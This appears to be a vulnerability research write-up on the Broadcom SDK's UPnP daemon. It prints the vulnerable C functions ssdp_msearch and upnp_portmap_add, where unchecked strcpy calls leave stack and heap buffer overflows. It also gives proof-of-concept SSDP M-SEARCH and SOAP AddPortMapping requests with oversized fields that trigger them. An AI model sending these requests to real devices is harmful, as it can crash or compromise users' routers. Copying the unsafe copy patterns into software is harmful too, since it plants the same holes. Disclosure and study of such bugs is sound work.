Swimming Upstream: Uncovering Broadcom SDK vulnerabilities from bug reports

Stack Buffer Overflow via ssdp_msearch

• M-SEARCH – sent by clients wishing to discover available services on a network.
• NOTIFY – sent by UPnP servers to announce the establishment or withdrawal of service information to the multicast group.

struct upnp_method ssdp_methods[] = 
{ 
        {"M-SEARCH ",   sizeof("M-SEARCH ")-1,  METHOD_MSEARCH,     ssdp_msearch}, 
        {0,             0,                      0,                  0} 
};

/* Parse the M-SEARCH message */ 
int ssdp_msearch(UPNP_CONTEXT *context) 
{
        char name[128]; 
        int  type; 
        char *host; 
        char *man; 
        char *st; 

        /* check HOST:239.255.255.250:1900 */ 
        host = context->HOST; 
        if (!host || strcmp(host, "239.255.255.250:1900") != 0) 
                return -1; 
 
        /* check MAN:"ssdp:discover" */ 
        man = context->MAN; 
        if (!man || strcmp(man, "\"ssdp:discover\"") != 0) 
                return -1; 
 
        /* process search target */ 
        st = context->ST; 
        if (!st) 
                return -1; 
 
        if (strcmp(st, "ssdp:all") == 0) { 
                type = MSEARCH_ALL; 
        } 
        else if (strcmp(st, "upnp:rootdevice") == 0) { 
                type = MSEARCH_ROOTDEVICE; 
        } 
        else if (memcmp(st, "uuid:", 5) == 0) { 
                /* uuid */ 
                type = MSEARCH_UUID; 
                st += 5; 
                strcpy(name, st); 
        } 
}

M-SEARCH * HTTP/1.1
HOST:239.255.255.250:1900
ST:uuid:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
MX:2
MAN:"ssdp:discover"

Heap Buffer Overflow via upnp_portmap_add

POST /control?WANIPConnection HTTP/1.1 
Host: 192.168.100.1:1780 
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" 
Accept-Language: en-us;q=1, en;q=0.5 
Accept-Encoding: gzip 
Content-Type: text/xml; charset="utf-8" 
Connection: Keep-Alive 
Content-Length: 1105 

<?xml version="1.0"?> 
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> 
  <s:Body> 
    <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"> 
      <NewLeaseDuration>3600</NewLeaseDuration> 
      <NewPortMappingDescription>gaming console</NewPortMappingDescription> 
      <NewEnabled>0</NewEnabled> 
      <NewInternalClient>192.168.100.100</NewInternalClient> 
      <NewInternalPort>52942</NewInternalPort> 
      <NewProtocol>TCP</NewProtocol> 
      <NewExternalPort>52942</NewExternalPort> 
      <NewRemoteHost>192.168.1.42</NewRemoteHost> 
    </u:AddPortMapping> 
  </s:Body> 
</s:Envelope>

UPNP_ACTION action_x_wanipconnection[] =
{
        {"AddPortMapping",              8,  arg_in_AddPortMapping,              0,  0,                                      &action_AddPortMapping},
        {"DeletePortMapping",           3,  arg_in_DeletePortMapping,           0,  0,                                      &action_DeletePortMapping},
        {"ForceTermination",            0,  0,                                  0,  0,                                      &action_ForceTermination},
        {"GetConnectionTypeInfo",       0,  0,                                  2,  arg_out_GetConnectionTypeInfo,          &action_GetConnectionTypeInfo},
        {"GetExternalIPAddress",        0,  0,                                  1,  arg_out_GetExternalIPAddress,           &action_GetExternalIPAddress},
        {"GetGenericPortMappingEntry",  1,  arg_in_GetGenericPortMappingEntry,  8,  arg_out_GetGenericPortMappingEntry,     &action_GetGenericPortMappingEntry},
        {"GetNATRSIPStatus",            0,  0,                                  2,  arg_out_GetNATRSIPStatus,               &action_GetNATRSIPStatus},
        {"GetSpecificPortMappingEntry", 3,  arg_in_GetSpecificPortMappingEntry, 5,  arg_out_GetSpecificPortMappingEntry,    &action_GetSpecificPortMappingEntry},
        {"GetStatusInfo",               0,  0,                                  3,  arg_out_GetStatusInfo,                  &action_GetStatusInfo},
        {"RequestConnection",           0,  0,                                  0,  0,                                      &action_RequestConnection},
        {"SetConnectionType",           1,  arg_in_SetConnectionType,           0,  0,                                      &action_SetConnectionType},
        {0,                             0,  0,                                  0,  0,                                      0}
};

/* << AUTO GENERATED FUNCTION: action_AddPortMapping() */
static int
action_AddPortMapping
(
        UPNP_CONTEXT * context,
        UPNP_SERVICE *service,
        IN_ARGUMENT *in_argument,
        OUT_ARGUMENT *out_argument
)
{
        /* --snip-- */

        /* << USER CODE START >> */
        IN_ARGUMENT *in_NewRemoteHost = UPNP_IN_ARG("NewRemoteHost");
        IN_ARGUMENT *in_NewExternalPort = UPNP_IN_ARG("NewExternalPort");
        IN_ARGUMENT *in_NewProtocol = UPNP_IN_ARG("NewProtocol");
        IN_ARGUMENT *in_NewInternalPort = UPNP_IN_ARG("NewInternalPort");
        IN_ARGUMENT *in_NewInternalClient = UPNP_IN_ARG("NewInternalClient");
        IN_ARGUMENT *in_NewEnabled = UPNP_IN_ARG("NewEnabled");
        IN_ARGUMENT *in_NewPortMappingDescription = UPNP_IN_ARG("NewPortMappingDescription");
        IN_ARGUMENT *in_NewLeaseDuration = UPNP_IN_ARG("NewLeaseDuration");

        UPNP_STATE_VAR *statevar;
        UPNP_VALUE value = {UPNP_TYPE_UI2, 2};

       int error = upnp_portmap_add(context,
                                                ARG_STR(in_NewRemoteHost),
                                                ARG_UI2(in_NewExternalPort),
                                                ARG_STR(in_NewProtocol),
                                                ARG_UI2(in_NewInternalPort),
                                                ARG_STR(in_NewInternalClient),
                                                ARG_BOOL(in_NewEnabled),
                                                ARG_STR(in_NewPortMappingDescription),
                                                ARG_UI4(in_NewLeaseDuration));
        if (error)
        {
            return error;
        }
        /* --snip-- */
}

/* Add a new port mapping entry */
int
upnp_portmap_add
(
        UPNP_CONTEXT    *context,
        char            *remote_host,
        unsigned short  external_port,
        char            *protocol,
        unsigned short  internal_port,
        char            *internal_client,
        unsigned int    enable,
        char            *description,
        unsigned long   duration
)
{
        UPNP_PORTMAP_CTRL *portmap_ctrl;
        UPNP_PORTMAP *map;

        /* Get control body */
        portmap_ctrl = (UPNP_PORTMAP_CTRL *)(context->focus_ifp->focus_devchain->devctrl);

        /* data validation */
        if (strcasecmp(protocol, "TCP") != 0 &&
                strcasecmp(protocol, "UDP") != 0) {
                upnp_syslog(LOG_ERR, "add_portmap:: Invalid protocol");
                return SOAP_ARGUMENT_VALUE_INVALID;
        }

        /* check duplication */
        map = upnp_portmap_find(context, remote_host, external_port, protocol);
        if (map) {
                if (strcmp(internal_client, map->internal_client) != 0)
                        return SOAP_CONFLICT_IN_MAPPING_ENTRY;

                /* Argus, make it looked like shutdown */
                if (enable != map->enable ||
                        internal_port != map->internal_port) {

                        if (map->enable) {
                                map->enable = 0;
                                upnp_osl_nat_config(map);
                        }
                }
        }
        else {
                if (portmap_ctrl->num == portmap_ctrl->limit) {

                        UPNP_PORTMAP_CTRL *new_portmap_ctrl;

                        int old_limit = portmap_ctrl->limit;
                        int old_size = UPNP_PORTMAP_CTRL_SIZE + old_limit * sizeof(UPNP_PORTMAP);

                        int new_limit = old_limit * 2;
                        int new_size = UPNP_PORTMAP_CTRL_SIZE + new_limit * sizeof(UPNP_PORTMAP);

                        /*
                         * malloc a new one for twice the size,
                         * the reason we don't use realloc is when realloc failed,
                         * the old memory will be gone!
                         */
                        new_portmap_ctrl = (UPNP_PORTMAP_CTRL *)malloc(new_size);
                        if (new_portmap_ctrl == 0)
                                return SOAP_OUT_OF_MEMORY;

                        /* Copy the old to the new one, and free it */
                        memcpy(new_portmap_ctrl, portmap_ctrl, old_size);

                        free(portmap_ctrl);

                        /* Assign the new one as the portmap_ctrl */
                        portmap_ctrl = new_portmap_ctrl;
                        context->focus_ifp->focus_devchain->devctrl = new_portmap_ctrl;

                        portmap_ctrl->limit = new_limit;
                }

                /* Locate the map and advance the total number */
                map = portmap_ctrl->pmlist + portmap_ctrl->num;
                portmap_ctrl->num++;
        }

        /* Update database */
        map->external_port  = external_port;
        map->internal_port  = internal_port;
        map->enable         = enable;
        map->duration           = duration;
        map->book_time          = time(0);

        strcpy(map->remote_host,        remote_host);
        strcpy(map->protocol,           protocol);
        strcpy(map->internal_client,    internal_client);
        strcpy(map->description,        description);
        
        /* Set to NAT kernel */
        if (map->enable)
                upnp_osl_nat_config(map);

        return 0;
}

POST /control?WANIPConnection HTTP/1.1
Host: 192.168.100.1:1780
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
Accept-Language: en-us;q=1, en;q=0.5
Accept-Encoding: gzip
Content-Type: text/xml; charset="utf-8"
Connection: Keep-Alive
Content-Length: 1105

<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
      <NewLeaseDuration>0</NewLeaseDuration>
      <NewPortMappingDescription>AAAAAAAAA</NewPortMappingDescription>
      <NewEnabled>0</NewEnabled>
      <NewInternalClient>192.168.100.100</NewInternalClient>
      <NewInternalPort>8000</NewInternalPort>
      <NewProtocol>TCP</NewProtocol>
      <NewExternalPort>8000</NewExternalPort>
      <NewRemoteHost>192.168.1.42</NewRemoteHost>
    </u:AddPortMapping>
  </s:Body>
</s:Envelope>